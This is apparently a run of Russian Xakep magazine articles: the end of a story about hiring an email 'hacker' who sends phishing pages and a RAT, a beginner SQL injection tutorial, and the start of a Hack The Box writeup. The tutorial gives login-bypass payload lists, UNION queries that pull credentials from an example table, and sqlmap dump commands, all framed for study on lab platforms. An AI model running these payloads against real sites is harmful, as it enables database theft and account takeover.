в виде перемен ной и «спря тан» в самой ссыл ке.

Продолжение статьи →



КАК Я НАНЯЛ ЗЛОГО ХАКЕРА ДЛЯ
ВЗЛОМА ЭЛЕКТРОННОЙ ПОЧТЫ

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

Да же логотип под тянул ся соот ветс тву ющий. Ну-ка, а если мы поменя ем в URL
фишин говой стра ницы имя поль зовате ля и домен поч товой служ бы?

Пот ряса юще: логотип меня ется авто мати чес ки! При этом фор ма написа на
на обфусци рован ном JavaScript, вве ден ный в нее пароль, судя по все му, сох- 
раня ется в фай лик. А вот с наб ранным наугад доменом, не сов пада ющим ни с
одним популяр ным сер висом бес плат ной поч ты, фор ма не спра вилась —
под ходящей кар тинки в запасе у жулика не наш лось.

На вер ное, какая-нибудь наив ная девоч ка и впрямь мог ла бы клю нуть на такую
нехит рую нажив ку, но я пос читал, что моя выдуман ная под ружка по-англий ски
не понима ет, и высоко мер но про игно риро вал это пись мо. Не получив дол- 
гождан ный пароль, на сле дующее утро взлом щик прис лал еще одно сооб- 
щение.

Тут, судя по все му, пред при нята роб кая попыт ка адресной фишин говой ата ки,
но не слиш ком удач ная — из пись ма сле дова ло, что получа тель отпра вил
какой-то файл сам себе. Не знаю, на что рас счи тывал отпра витель: если
адре сат в сво ем уме и не стра дает алко голь ной демен цией, он твер до зна ет,
что никаки ми фай лами с собой уж точ но не делил ся.

Тем более URL в адресной стро ке бра узе ра не име ет ничего обще го
со стрем ным фай лооб менни ком, стра ницу которо го под делал зло умыш- 
ленник, что само по себе выг лядит край не подоз ритель но. В общем,
это пись мо тоже полете ло в кор зину. Одна ко вско ре во «Вхо дящие» упа ло
еще одно.

А вот это уже впол не себе целевая фишин говая ата ка — во-пер вых, в пос- 
лании исполь зует ся лич ное при ветс твие и имя «жер твы», что дол жно усы пить
ее бди тель ность. Во-вто рых, я сооб щил исполни телю кое-какую допол- 
нитель ную информа цию о получа теле, в час тнос ти при думал для моей
несущес тву ющей девуш ки мес то работы и дол жность (сот рудни ца отде ла
пер сонала), наз вал имя началь ницы и луч шей под руги. Отпра витель
наконец-то решил пол ноцен но исполь зовать этот век тор ата ки, написав пись- 
мо от име ни руково дитель ницы получа теля. При этом он точ но не знал,
как при нято общать ся в кол лекти ве потен циаль ной жер твы, на ты или на вы,
ему неиз вестен и стиль обще ния с под чинен ной, поэто му пись мо написа но
сжа то, ней траль но и без исполь зования лич ных мес тоиме ний. Отличная
работа!

Ес ли чес тно, я ожи дал про читать оче ред ную исто рию из раз ряда «срок
год ности вашей учет ной записи исте кает, ско ро она испортит ся и нач нет пло- 
хо пах нуть, пора поменять пароль» и был при ятно удив лен. В пись ме обна- 
ружи лась ссыл ка на сайт, ими тиру ющий онлай новый таб личный редак тор,
а там… Ну да, опять фор ма для вво да логина и пароля элек трон ной поч ты,
без запол нения которой ты не уви дишь содер жимое «таб лицы».

Собс твен но, это пер вая более-менее серь езная попыт ка при менить соци- 
аль ную инже нерию — исполни тель убе дил ся, что жер тва на при митив ные ата- 
ки не реаги рует, и решил взять ся за нее всерь ез. Навер ное, на мес те девуш-
ки Марии я бы купил ся на такой хит рый фишинг. Но я сов сем не девуш ка,
а злой и повидав ший некото рые sheets (в смыс ле лис ты Excel) кибер панк, так
что и это пись мо я тоже про игно риро вал. Фиг с ними, с сот рудни ками, пус кай
идут хоть в отпуск, хоть к чер ту на рога.

Вско ре я получил сле дующее сооб щение. И вновь — попыт ка тар гетиро- 
ван ной фишин говой ата ки с исполь зовани ем информа ции о получа теле,
на сей раз — от име ни потен циаль ного соис кателя работы.

Ссыл ка в пись ме вела на фишин говый сайт , косящий, как и
сле дова ло ожи дать, под Яндекс Диск, при чем отпра витель даже не удо сужил- 
ся замас кировать ссыл ку под нас тоящую. На этот ресурс меня не пус тил бра- 
узер, сооб щив, что сайт рас простра няет вре донос ное ПО (кто бы сом невал- 
ся!), да и анти вирус на компь юте ре начал истошно кри чать о заг рузке тро яна.
Одна ко я человек донель зя любопыт ный и, отклю чив защиту, все-таки щел- 
кнул по ссыл ке — по это му URL заг ружа ется исполня емый файл с при меча- 
тель ным рас ширени ем . Впро чем, даже с отклю чен ными пре дуп- 

режде ниями бра узер все рав но сооб щает о том, что внут ри фай ла пря чет ся
вре донос.

yandeksdisk.org

.pdf.exe

VirusTotal ожи даемо показал детект это го при ложе ния прак тичес ки все ми
акту аль ными анти виру сами. Судя по все му, взлом щик пытал ся под сунуть мне
RAT с фун кци ями кей лог гера и уда лен ного адми нис три рова ния.

К сло ву, пись мо с вре донос ной ссыл кой успешно прош ло все филь тры
Mail.ru — воз можно, потому, что было отправ лено с обыч ного поч тового ящи- 
ка на дру гом пуб личном сер висе. Для ана лиза слу жеб ных заголов ков я вос- 
поль зовал ся  — доволь но
полез ный инс тру мент, избавля ющий от необ ходимос ти ковырять ся в хедерах
пись ма вруч ную.

на бором инс тру мен тов адми нис тра тора Google

Пос коль ку пароль жер тва ата ки в под дель ную фор му так и не вве ла и тро яна
на сво ей машине не запус тила, на тре тий день поток фишин говых писем
прек ратил ся, а исполни тель про пал с радаров.

Вы воды в резуль тате про веден ного мною бес человеч ного экспе римен та я
сде лал сле дующие. Во-пер вых, авто ры раз мещен ных в интерне те стра ничек
с мно гочис ленны ми пред ложени ями взло ма поч товых ящи ков — обыч ные
мел кие жулики, пыта ющиеся нажить ся на лопо ухих заказ чиках. Во-вто рых,
дек лариру емые на таких сай тах рас ценки, как и обе щания работать без пре-
доп латы, — пол ная ерун да, реаль ные цены ощу тимо выше, а денег у тебя,
ско рее все го, поп росят впе ред без каких-либо гаран тий. В-треть их,
более-менее адек ватно го исполни теля мож но най ти раз ве что в дар кне те,
и там сто имость подоб ных услуг начина ется от 15 тысяч.

Ну и наконец, основной исполь зуемый сей час метод взло ма — соци аль- 
ная инже нерия, при чем чем боль ше зло умыш ленни ку извес тно о жер тве, тем
более тар гетиро ван ной будет ата ка. При менять брут форс, осо бен но к ящи- 
кам, зарегис три рован ным на пуб личных сер висах, бес полез но чуть менее
чем пол ностью, пос коль ку все сов ремен ные поч товые служ бы име ют встро- 
енную защиту от перебо ра паролей. При меня ется, как мы видим, и вре донос- 
ное ПО, но зло деи не замора чива ются даже тем, что бы нак рыть тро яна упа- 
ков щиком с целью сбить детект, — в резуль тате вре донос ную ссыл ку бло- 
киру ет бра узер с нас трой ками по умол чанию, а уста нов ленный на машине
анти вирус сра зу же под нима ет тре вогу.

В общем, если ты не наив ный прос тачок, безот ветс твен но перехо дящий
по ссыл кам в поч товых сооб щени ях и вво дящий свой пароль куда ни попадя,
а так же не отклю чаешь в сво ей сис теме анти вирус ную защиту, опа сать ся осо- 
бен но нечего. Сох раняй бди тель ность, исполь зуй двух фактор ную аутен- 
тифика цию, мой руки перед едой и вооб ще, как пел один популяр ный
исполни тель, сле ди за собой, будь осто рожен. Тог да ни один хакер никог да
не доберет ся до тво ей интимной перепис ки, как бы он ни ста рал ся.

https://toolbox.googleapps.com/apps/messageheader/analyzeheader
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ВЗЛОМ

В этой статье я раз беру тему SQL-инъ екций
с самого начала — для тех, кто толь ко осва- 
ивает ся в мире инфо сека. Мы прой дем ся
по базовым уяз вимос тям и пошаго во раз- 
берем нес ложные ата ки. Потом погово рим
о sqlmap — инс тру мен те для авто мати чес- 
кого пен теста SQLi. В кон це пореко мен дую
ресур сы для даль нейше го изу чения.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для обу чения спе циалис тов
по безопас ности, про водя щих тес тирова ние
в рам ках кон трак та. Автор и редак ция не несут
ответс твен ности за любой вред, при чинен ный
с при мене нием изло жен ной информа ции. Рас-
простра нение вре донос ных прог рамм, наруше- 
ние работы сис тем и наруше ние тай ны перепис ки
прес леду ются по закону.

Ес ли ты кру той пен тестер и тема, о которой мы сегод ня будем говорить,
для тебя неак туаль на уже лет двад цать, то не вол нуй ся. «Хакер» обя затель но
про дол жит радовать тебя хар дкор ными матери ала ми. Но мы бук валь но обя- 
заны иметь и что-то для нович ков. Да и о базовых вещах сто ит вре мя от вре- 
мени писать заново, с уче том сов ремен ных реалий.

×ÒÎ ÒÀÊÎÅ SQL?

SQL (Structured Query Language) — это язык прог рамми рова ния, который
поч ти пов семес тно исполь зует ся для работы с базами дан ных. В час тнос ти,
он при гож дает ся при раз работ ке сай тов. Давай пос мотрим, как выг лядит
типич ный сце нарий его при мене ния.

Пред положим, у нас есть интернет-магазин, тор гующий спор тивны ми
товара ми, и поль зователь Васёк, жела ющий купить ган тели.
1. Ва сёк вво дит в стро ку поис ка сло во «ган тели» и нажима ет «Искать».
2. Ког да кноп ка нажата, бра узер зап рашива ет стра ницу поис ка и переда ет

на сер вер стро ку «ган тели».
3. Ра бота ющее на сер вере веб-при ложе ние, что бы поис кать в базе дан ных,

фор миру ет зап рос к ней. Для это го в при ложе ние прог раммис том заложе- 
на коман да на SQL, зада ющая усло вия поис ка. В нее и под став ляет ся
получен ное от поль зовате ля сло во «ган тели».

4. По лучив зап рос, база дан ных ищет под ходящие под усло вия стро ки в таб- 
лице товаров и выда ет их веб-при ложе нию.

5. Веб-при ложе ние объ еди няет резуль тат поис ка с шаб лоном стра ницы
и выда ет резуль тат бра узе ру Вась ка. Васёк видит кра сивую стра нич ку
с изоб ражени ем ган телей, ценами и про чей инфой.

Что же такое база дан ных? Так час то называ ют, во-пер вых, саму прог рамму,
работа ющую на сер вере (точ нее, она называ ется СУБД — сис тема управле- 
ния базами дан ных), а во-вто рых, файл или нес коль ко фай лов, в которых
в спе циаль ном фор мате хра нят ся дан ные.

Дан ные записы вают ся в виде таб лиц, а в таб лицах — стол бцы и стро ки,
как в докумен те Excel. Зачас тую одна СУБД может управлять сра зу нес коль- 
кими базами дан ных, каж дая из которых уже содер жит в себе таб лицы.

Ре комен дую пос тавить на свой компь ютер любую СУБД и пос мотреть
на нее поб лиже самос тоятель но. Про ще все го будет запус тить , а для
прос мотра дан ных можешь вос поль зовать ся . Более серь езные
СУБД вро де MySQL, PostgreSQL и Microsoft SQL Server устро ены чуть слож- 
нее, но смысл совер шенно тот же. И все они исполь зуют один язык зап- 
росов — SQL (хоть и с неболь шими раз личи ями).

SQLite
DB Browser

Но вер немся к Вась ку. Что, если ему нуж ны вов се не ган тели, а, нап ример,
дан ные дру гих поль зовате лей или воз можность зай ти в админку сай та? Какой
зап рос ему сде лать тог да? Давай раз бирать ся.

ÊÀÊ ÂÛÃËßÄÈÒ ÇÀÏÐÎÑ Ê ÏÐÈËÎÆÅÍÈÞ

Ча ще все го уяз вимос ти типа SQLi воз ника ют в поис ке, ком мента риях
и панелях адми нис три рова ния, так что Вась ку нуж но вни матель нее все го
смот реть на парамет ры, которые бра узер переда ет на сер вер при запол- 
нении раз ных строк.

Да вай раз берем вот такой зап рос:

http://just_usual_site_with_sqli.com/tovar?id=drel 

Это зап рос типа GET — ког да переда ваемые парамет ры ука зыва ются пря мо
в ссыл ке — пос ле зна ка воп роса. Здесь параметр  — это иден тифика тор

товара. Имен но через этот параметр мы чуть поз же и попыта емся про извести
инъ екцию.

id

Не ред ко при меня ются и зап росы типа POST, при которых парамет ры
переда ются уже не в адресной стро ке, а в HTTP-заголов ке. Зап рос, сде лан- 
ный методом POST, будет выг лядеть при мер но так.

Здесь переда ется нес коль ко парамет ров: , ,  и дру гие.postId comment name

ÏÐÎÕÎÄ Â ÀÄÌÈÍÊÓ

Те перь давай пос мотрим, как уяз вимость будет выг лядеть в коде веб-при- 
ложе ния, которое Васёк пыта ется взло мать. Для при мера возь мем код
из финаль ного экза мена HTB Academy SQLi Fundamentals.

Пред положим, мы наш ли адрес админки сай та, но, что бы зай ти туда, нам
нуж но ввес ти имя поль зовате ля и пароль. Вот кусок кода на PHP, который
по задан ному име ни поль зовате ля и паролю про веря ет, есть ли в базе такая
пара:

  $servername = "just_simple_server"
   $username = "admin"; # Юзернейм
   $password = "password123"; # Пароль

  $dbname = "simple_database"

# Подключение к базе данных
      $conn = new mysqli($servername, $username, $password, $dbname);

# Сюда приходит пользовательский ввод
  $user_input_username = $_GET['username'];
  $user_input_password = $_GET['password'];

# А здесь создается сам запрос в базу данных
# и подставляется то, что ввел пользователь

  $sql = "SELECT * FROM users WHERE username = '$user_input_username' 
AND password = '$user_input_password'";

  $result = $conn->query($sql);

# Проверка результатов: нашлись ли в базе записи с нужными логином и 
паролем
    if ($result->num_rows > 0) {
    echo "Успешный вход";
  } else {
    echo "Неверное имя пользователя или пароль";
}

Нам с тобой осо бен но инте рес на перемен ная , имен но в ней и будет
про исхо дить вся магия.

$sql

На рус ском этот зап рос зву чал бы так: «Выбери все стро ки из базы дан ных
, где имя поль зовате ля — , а пароль —

». При чем вмес то наз ваний перемен ных в реаль нос ти
будут под став лены зна чения, вве ден ные поль зовате лем в фор му.

users $user_input_username
$user_input_password

Сей час мы с тобой про ведем SQL-инъ екцию. Тут важ но не заходить сра зу
с козырей. В пер вую оче редь нам надо передать кавыч ку, что бы она зак рыла
зап рос и он не прев ратил ся в стро ку, как под разуме валось.

Для начала надо опре делить, какие имен но кавыч ки сто ят в коде: оди нар- 
ные или двой ные (PHP допус кает оба вари анта). В нашем слу чае мы можем
пос мотреть код и отве тить на этот воп рос: оди нар ные. Но при нас тоящем
пен тесте кода у нас, ско рее все го, не будет, поэто му опре делять при дет ся
самим — методом проб и оши бок. А точ нее, методом перебо ра строк
по спис ку.

Я под готовил для тебя неболь шой спи сок строк для перебо ра.

'

"
#
%'#
%'--
%')--
%' or 1=1#
  %' or 1=1--

%') or 1=1#
  %') or 1=1--

' or 1=1--
  ' or 1=1#

') or 1=1#
  ') or 1=1--

%' and 1=1#
  %' and 1=1--

%') and 1=1--
  %') and 1=1#

' and 1=1#
  ' and 1=1--

') and 1=1#
  ') and 1=1--

%' or 2=2#
 %'or 33=33--

%') or 55=55#
 %') or

ord(5)=ord(5)--
' or 2=2#
  ' or 33=33--

') or 55=55#
  ') or ord(5)=ord(5)--

%' and (chr('a')=chr('a'))#
 %'and 4=4--

%') and (ASCII('a')=ASCII('a'))#
  %') and 'w'='w'--

' and(chr('a')=chr('a'))#
  ' and 4=4--

') and(ASCII('a')=ASCII('a'))#
 ')and 'w'='w'--

До пус тим, мы опре дели ли, что в коде исполь зуют ся оди нар ные кавыч ки.
Отлично, зна чит, стро ку мож но зак рыть, отпра вив в зап росе оди нар ную
кавыч ку! Но само по себе это нам никак не поможет, ведь пос ле под ста нов ки
име ни поль зовате ля получит ся вот такой код:

  $sql = "SELECT * FROM users WHERE username = ''' AND password = 
'$user_input_password'";

Пос ле нашей кавыч ки идет кавыч ка, которая изна чаль но была в коде,
в резуль тате SQL прос то не пой мет, что это за наг ромож дение кавычек,
и выдаст ошиб ку. Зап рошен ная стра ница, ско рее все го, не будет отоб ражена
вов се.

Нам нуж но добавить что-то, кро ме кавыч ки, что бы пос леду ющая часть зап- 
роса прос то не сра бота ла. Про ще все го в этом слу чае исполь зовать ком- 
менти рова ние. В MySQL ком мента рии отби вают ся дву мя чер точка ми ( ).
Все иду щие даль ше сим волы будет счи тать ся ком мента рием, а не частью
коман ды.

--

Что бы учесть все воз можные слу чаи, полез но добав лять к двум чер точкам
про бел и еще какой-нибудь сим вол (я став лю еще один про черк: ). Так
мы удос товерим ся, что ни при каких усло виях не получит ся пус той ком мента- 
рий, ведь такое во мно гих реали заци ях SQL недопус тимо.

-- -

В раз ных БД син таксис ком менти рова ния может
раз личать ся.

Вот как в ито ге будет выг лядеть рабочая наг рузка в фор ме вво да.

А вот она же в коде пос ле под ста нов ки:

        SELECT * FROM users WHERE username = '' -- -' AND password = 
'$user_input_password'"

Про вер ка пароля боль ше не про изво дит ся — это усло вие теперь часть ком- 
мента рия. Но нам все еще тре бует ся имя поль зовате ля, а его мы можем и не
знать. Нель зя ли снять и это усло вие тоже?

Да вай взгля нем на код еще раз. Мы видим, что про вер ка про исхо дит
по количес тву строк в отве те от базы дан ных. Если сов падений нет, воз вра- 
щает ся ноль строк. Зна чит, нам надо сде лать так, что бы этих строк было
не ноль. Как нас чет того, что бы вывес ти в ответ сра зу все стро ки из БД?
Для это го нуж но соз дать усло вие, которое будет истинно для каж дой стро ки.
И сде лать это прос то — дос таточ но добавить .or 1=1

В коде пос ле под ста нов ки зна чения это будет выг лядеть вот так:

          SELECT * FROM users WHERE username = '' or 1=1 -- - ' AND password = 
'$user_input_password'"

На рус ском наш зап рос мож но про честь так: «Выбери все стро ки из базы
дан ных , где имя поль зовате ля пус тое ИЛИ еди ница, рав ная еди нице».

А пос коль ку еди ница всег да рав на еди нице, это усло вие будет соб людать ся
для каж дой стро ки.

users

Ре зуль тат — мы в админке!

Продолжение статьи →

https://t.me/Logovo_Sphinxa
https://www.sqlite.org/download.html
https://sqlitebrowser.org/


РАЗБИРАЕМ НА ПАЛЬЦАХ ОДНУ
ИЗ САМЫХ ПОПУЛЯРНЫХ

ХАКЕРСКИХ ТЕХНИК

ВЗЛОМ  НАЧАЛО СТАТЬИ←

UNION-BASED SQLI

Од нако Вась ка не инте ресу ет содер жимое админки, цены на ган тели он
может пос мотреть и на сай те. Его цель — таб лица с име нами поль зовате лей
и пароля ми. И они ведь навер няка хра нят ся в той же базе дан ных!

Как мы уже зна ем, в интернет-магази не есть поиск. Пред положим, что
в коде сай та исполь зует ся вот такой зап рос:

       SELECT * FROM `products` WHERE category = '$query'

Да вай раз берем его под робнее:
 озна чает, что мы собира емся выбирать стро ки из таб лицы;• SELECT

 озна чает, что мы выбира ем все стол бцы из таб лицы
;

• * FROM products

products

 — что мы будем извле кать стро ки, где
зна чение в стол бце  рав но перемен ной , которую мы
можем модифи циро вать.

• WHERE category = '$query'

category $query

Мы можем про вер нуть здесь тот же трюк, который мы уже при меня ли
при взло ме админки. Поп робу ем отпра вить кавыч ку и помет ку ком мента рия.
Дол жен получить ся вот такой зап рос:

http://just_usual_site_with_sqli.com/tovar?id=''-- - 

В виде SQL это будет выг лядеть так:

        SELECT * FROM 'products' WHERE category = '' -- -'

Это нам пока что ничего не даст — сайт прос то поищет товары с пус тым
иден тифика тором. Что бы вытащить дан ные из дру гой таб лицы, нам надо
исполь зовать вол шебное сло во . Оно поз воля ет объ еди нить два зап- 

роса в один. То есть мы как бы под цепим ся к заложен ному в прог рамму зап- 
росу и сде лаем свой зап рос.

UNION

Но есть боль шая проб лема — мы ведь ничего не зна ем о струк туре базы
дан ных! Делать зап росы всле пую? На уга дыва ние в таком слу чае уйдет уйма
вре мени.

По это му обыч но сна чала про водят неболь шую раз ведку, что бы понять,
какие есть таб лицы и какие в них стол бцы. А затем уже мож но извле кать
из них дан ные.

Вот общий алго ритм дей ствий при про веде нии ата ки UNION-based SQLi (а
имен но ее и пла ниру ет реали зовать наш Васёк):
1. Оп ределя ем чис ло стол бцов в таб лице.
2. Уз наём вер сию базы дан ных.
3. Вы водим спи сок баз дан ных.
4. Вы водим спи сок таб лиц в базе дан ных.
5. Вы водим спи сок стол бцов в таб лице.
6. Вы водим информа цию из нуж ных стол бцов.

Да вай пос мотрим под робнее, как дела ется каж дое из этих дей ствий.

Îïðåäåëÿåì ÷èñëî ñòîëáöîâ â òàáëèöå

Зап росим стол бец номер 1:

http://just_usual_site_with_sqli.com/tovar?id=' UNION SELECT 1 -- - 

Это породит вот такой зап рос в коде:

           SELECT * FROM 'products' WHERE category = '' UNION SELECT 1 -- -'

В ответ видим сооб щение об ошиб ке, пос коль ку в таб лице боль ше одно го
стол бца и база ждет, что мы зададим, как отоб ражать их все. Давай добав- 
лять номера по поряд ку, пока ошиб ка не исчезнет.

Вот финаль ный зап рос:

http://just_usual_site_with_sqli.com/tovar?id=' UNION SELECT 1,2,3,4 
-- -

Оши бок нет, зна чит, в таб лице четыре стол бца.

Óçíàёì âåðñèþ ÁÄ

Те перь нуж но опре делить тип и вер сию базы дан ных. Нуж но будет под бирать
коман ды для раз ных СУБД, пока зап рос вер сии не сра бота ет без ошиб ки.
Но мы сра зу пред положим, что у нас самый популяр ный вари ант — MySQL:

http://just_usual_site_with_sqli.com/tovar?id=' UNION SELECT 1,
@@version ,3,4 -- -

В виде SQL:

           
 

SELECT * FROM 'products' WHERE category = '' UNION SELECT 1,@@version
,3,4 -- -'

Для каж дой раз новид ности СУБД коман да будет
сво ей. Что бы нор маль но опре делить базу дан ных,
рекомен дую исполь зовать 

.
шпар галку на сай те

PortSwigger

Âûâîäèì ñïèñîê áàç äàííûõ

Ког да мы опре дели ли тип базы дан ных и вер сию, мож но перехо дить к более
слож ным зап росам. Нап ример, нелиш не будет узнать струк туру базы дан ных,
то есть ее «схе му».

Ты спро сишь, что это за схе ма такая? В каж дой СУБД, осно ван ной на SQL,
есть спе циаль ная база, в которой содер жится перечень дру гих баз, их таб лиц
и стол бцов, а так же про чая сопутс тву ющая информа ция. Называ ется эта база

. В ней есть таб лица , содер жащая спи сок баз

дан ных. Их наз вания мы можем узнать из стол бца .

INFORMATION_SCHEMA SCHEMATA
schema_name

Зап рашива ем содер жимое стол бцов :SCHEMATA

       SELECT * FROM 'products' WHERE category = ''
    UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -'

Сле дующие шаги будем делать, отталки ваясь от это го зап роса.

Âûâîäèì ñïèñîê òàáëèö â áàçå äàííûõ

Даль ше пред положим, что мы наш ли базу дан ных  и горим желани ем

узнать ее содер жимое. Давай для начала выведем всю информа цию о таб- 
лицах в этой базе дан ных. В этом нам поможет информа ция из таб лицы

 все той же базы :

users

TABLES INFORMATION_SCHEMA

       SELECT * FROM 'products' WHERE category = ''
    UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.

TABLES
 WHERE table_schema='users'-- -'

Что добави лось нового? Появи лось поле  — это наз вания таб лиц,
важ ная для нас информа ция. Так же я рекомен дую оставлять стол бец

, что бы рядом помеча лось, из какой базы дан ных взя та таб- 

лица. И еще добави лось усло вие .  отсе- 
кает ненуж ный вывод и отоб ража ет толь ко наз вания таб лиц из задан ной
базы, в дан ном слу чае .

table_name

table_schema
WHERE table_schema='users' WHERE

users

Âûâîäèì ñïèñîê ñòîëáöîâ â òàáëèöå

Пред положим, в базе дан ных  мы наш ли таб лицу с говоря щим наз вани- 
ем , то есть учет ные дан ные. Хорошо бы заполу чить эту таб лицу,

но для это го надо бы знать, какие в ней есть стол бцы.

users
credentials

Да вай отпра вим вот такой зап рос:

       SELECT * FROM 'products' WHERE category = ''
    UNION select 1,COLUMN_NAME,TABLE_NAME,4 from INFORMATION_SCHEMA.

COLUMNS
 WHERE table_name='credentials'-- -'

Всё точ но так же, как на прош лом шаге, но теперь мы выбира ем из таб лицы
 базы  наз вания колонок ( ) таб- 

лицы с учет ными дан ными ( ).
COLUMNS INFORMATION_SCHEMA COLUMN_NAME

credentials

Âûâîäèì èíôîðìàöèþ èç íóæíûõ ñòîëáöîâ

Пред положим, на прош лом эта пе мы узна ли, что в таб лице  есть

стол бцы  и . Давай наконец получим их содер жимое
из таб лицы  базы дан ных :

credentials
username password
credentials users

       SELECT * FROM 'products' WHERE category = ''
       UNION select 1, username, password, 4 from users.credentials-- -'

Впе чат лен тем, сколь ко тру да при ложил Васёк для сво ей немоти виро ван ной
ата ки на нес час тный интернет-магазин? Как бы не так! Наш Вась ка прос то
запус тил «мапу» и был таков.

SQLMAP

Спро сишь, что за «мапа» такая? Речь о зна мени том инс тру мен те ,
который пол ностью авто мати зиру ет все дей ствия, что мы раз бирали выше,
и дела ет мно гое-мно гое дру гое. Давай пос мотрим, как с ним работать.

sqlmap

Для начала зап росим справ ку:

sqlmap -hh

И уви дим огромней ший вывод. Выучи вать его весь необя затель но, важ но
запом нить нес коль ко самых важ ных парамет ров:

 — адрес тес тиру емо го сай та, где мы наш ли уяз вимость. В ссыл ке обя- 
затель но дол жен быть параметр, куда будет под став лять ся стро ка: 

;

• -u

-u 

"http://just_usual_site_with_sqli.com/tovar?id="

 ( ) — выводит всю информа цию из БД;• -a --all

 — выводит все базы дан ных из БД;• --dbs

 — выводит все таб лицы;• --tables

 — выводит все стол бцы;• --columns

 — дам пит (копиру ет) вывод из БД, ну или же вывод по задан ным
парамет рам;

• --dump

 — из какой базы дан ных выводить дан ные;• -D

 — из какой таб лицы выводить дан ные;• -T

 — из какой колон ки выводить дан ные;• -С

 — отве чает за то, нас коль ко глу боким будет тест уяз вимос ти,
мак симум может быть 5-го уров ня;

• --level

 – опре деля ет риск уяз вимос ти; чем он выше, тем веро ятнее, что
sqlmap что-то обна ружит. Но повыша ется шанс того, что нас могут
задетек тить, ана логич ная ситу ация и с .

• --risk

--level

Да вай пос мотрим, что написал в тер минале хит рый Васёк вмес то всей руч ной
работы, про делан ной нами выше:

   
5 3 

sqlmap -u "http://just_usual_site_with_sqli.com/tovar?id=" -all
--level= --risk=

Всё, даль ше Васян потяги вает пиво, а sqlmap тру дит ся.
Но что, если попадет ся POST-зап рос, а не GET? Пом нишь, в начале статьи

я при водил скрин шот с перех вачен ным зап росом?

Бе рем его целиком (да, пря мо весь) и встав ляем в тек сто вый файл с рас- 
ширени ем .req. Назовем, к при меру, . Теперь запус каем sqlmap
с парамет ром  и ука зыва ем этот файл:

sqli.req
-r

 5 3 sqlmap -r sqli.req --all --level= --risk=

Всё, «мапа» начала тру дить ся.

SQLI Â ÄÈÊÎÉ ÏÐÈÐÎÄÅ

Ес ли бы такой прос той, дос тупный и широко извес тный баг встре чал ся
в реаль ной жиз ни, то сай ты бы, навер ное, ломали каж дый день. Собс твен но,
при мер но так оно и было на заре интерне та. Одна ко с тех пор раз работ чики
ста ли нам ного осто рож нее, а в популяр ные веб-фрей мвор ки, на осно ве
которых дела ют сай ты, уже встро ены авто мати чес кие про вер ки на SQLi.
Никакая шаль ная кавыч ка не прой дет!

По пуляр ный комикс XKCD обыг рыва ет тему SQL-инъ екций

Тем не менее про верять наличие SQLi при пен тестах обя затель но нуж но.
Никог да нель зя исклю чать забыв чивость или неопыт ность раз работ чика.
Вдруг он таки ухит рился обра ботать зап рос в обход встро енных филь тров?
Или, к при меру, дви жок сай та не обновля ли с 1887 года. Или ты перебо ром
путей нашел какую-нибудь скры тую стра нич ку, которую реали зова ли по-прос- 
тому, в надеж де, что на нее ник то никог да не заб редет. В общем, слу чает ся
вся кое, а про верить нетяже ло.

ÃÄÅ ÏÐÀÊÒÈÊÎÂÀÒÜÑß?

Ни какие объ ясне ния не заменят лич ного опы та. Толь ко поп робовав на проч- 
ность пару-трой ку сай тов, ты по-нас тояще му осво ишь ся и будешь готов вос- 
при нимать вещи, которые мы раз берем в сле дующий раз.

Я рекомен дую прой ти пару тре ниро воч ных заданий. Нап ример, 
, пос вящен ный SQLi, или  на пло щад ке

TryHackMe. А еще луч ше — оба!

мо дуль
HTB Academy ана логич ный модуль

За тем можешь заг лянуть на сайт PortSwigger и прой ти «путь» .
Сра зу пре дуп реждаю, что он слож ный и даже очень слож ный для нович ка,
но там вез де при веде ны отве ты. Луч ше в них не смот реть сра зу, но, если
вдруг зас тря нешь, они выручат.

SQL injection

Еще могу пореко мен довать две очень инте рес ные лабора тор ные работы
с пло щад ки : PC и Magic или хотя бы те их час ти, что свя заны
с ата ками на веб и получе нием поль зователь ско го фла га (повыше ние при- 
виле гий в Linux можешь пока не тро гать). Опять же, если зас тря нешь, под гля- 
дывай в про хож дение:  есть на «Хакере»,  —
в бло ге 0xdf.

Hack The Box

рай тап по PC про хож дение Magic

На пос ледок желаю тебе не сда вать ся! Иног да понима ние тре бует нес- 
коль ких под ходов, и это нор маль но. Прак тикуй ся, и всё обя затель но получит- 
ся.

В сле дующий раз мы раз берем сле пые SQL-инъ екции, инъ екции, осно- 
ван ные на ошиб ках, а так же time-based-ата ки.

https://portswigger.net/web-security/sql-injection/cheat-sheet
https://sqlmap.org/
https://academy.hackthebox.com/module/details/33
https://tryhackme.com/room/sqlinjectionlm
https://portswigger.net/web-security/learning-paths/sql-injection
https://www.hackthebox.com/
https://xakep.ru/2023/10/09/htb-pc/
https://0xdf.gitlab.io/2020/08/22/htb-magic.html
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ВЗЛОМ

В этом рай тапе я покажу, как про вес ти ата- 
ку на базу дан ных SQLite при помощи собс- 
твен ного заг ружа емо го модуля. Но сна чала
получим дос туп к при ват ным дан ным через
уяз вимость IDOR и зах ватим учет ку поль- 
зовате ля.

На ша цель — получе ние прав рута на машине Drive с учеб ной пло щад ки 
. Уро вень машины обоз начен как слож ный.

Hack
The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.235   drive.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.2p1;•
80 — веб-сер вер Nginx 1.18.0.•

